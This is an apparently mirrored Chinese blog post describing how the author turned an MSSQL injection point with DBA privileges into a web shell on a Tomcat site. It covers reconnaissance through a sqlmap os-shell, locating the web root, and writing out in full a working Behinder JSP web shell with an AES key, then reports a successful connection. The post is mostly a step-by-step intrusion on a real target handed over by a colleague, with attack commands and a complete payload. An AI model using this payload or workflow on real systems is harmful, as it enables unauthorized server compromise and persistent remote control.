zoukankan      html  css  js  c++  java
  • mssql dba注入点写shell

    某日同事发来一注入点
    image.png
    说是mssql用sqlmap跑可以执行命令,但是用powershell和mstha都无法上线cs,叫我看看。
    首先用sqlmap跑一下,发现确实能执行命令,ping了一下dnslog发现不出网。
    那么这里考虑写shell,写shell的话首先判断是否站库分离
    image.png
    发现非站库分离,然后就是要找到web目录。
    因为是布尔盲注,先执行下面命令看下进程(tasklist数据太多了有点慢这个命令只看进程名)

    os-shell> wmic process get name
    

    image.png
    发现tomcat7然后使用下面命令查看tomcat目录

    os-shell> wmic process where name="tomcat7.exe" get CommandLine
    

    image.png
    执行命令查看webapps

    os-shell> dir D:patentnew_tomcat_7webapps
    

    image.png
    发现为空文件夹,我们打开这个站找一个名字比较特殊的静态文件。
    image.png
    web肯定在d盘的,然后os-shell执行命令(因为搜索时间较长所有不采用直接回显的方式)

    os-shell> dir /b/s d:z_6.png > d:qa1.txt
    os-shell> type d:qa1.txt
    

    image.png
    echo写入冰蝎shell(先写入txt看shell内容是否正确写入)

    os-shell> echo ^<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%^>^<%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%^>^<%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%^> > D:patentimagesloginssss.txt
    os-shell> copy D:patentimagesloginssss.txt D:patentimagesloginssss.jsp
    

    image.png
    冰蝎成功连接
    image.png

  • 相关阅读:
    DataStructure期末复习小tips
    MediaPlayer
    Java中Calendar的用法
    C++小tips
    函数返回局部变量的问题
    framebuffer
    MTK gpio adb 控制 和 查看中断INDEX
    emmc
    No 'Access-Control-Allow-Origin' header is present on the requested resource.解决方法(亲测有效)
    JavaScript的Promise必须要会的几个点
  • 原文地址:https://www.cnblogs.com/cwkiller/p/14108489.html
Copyright © 2011-2022 走看看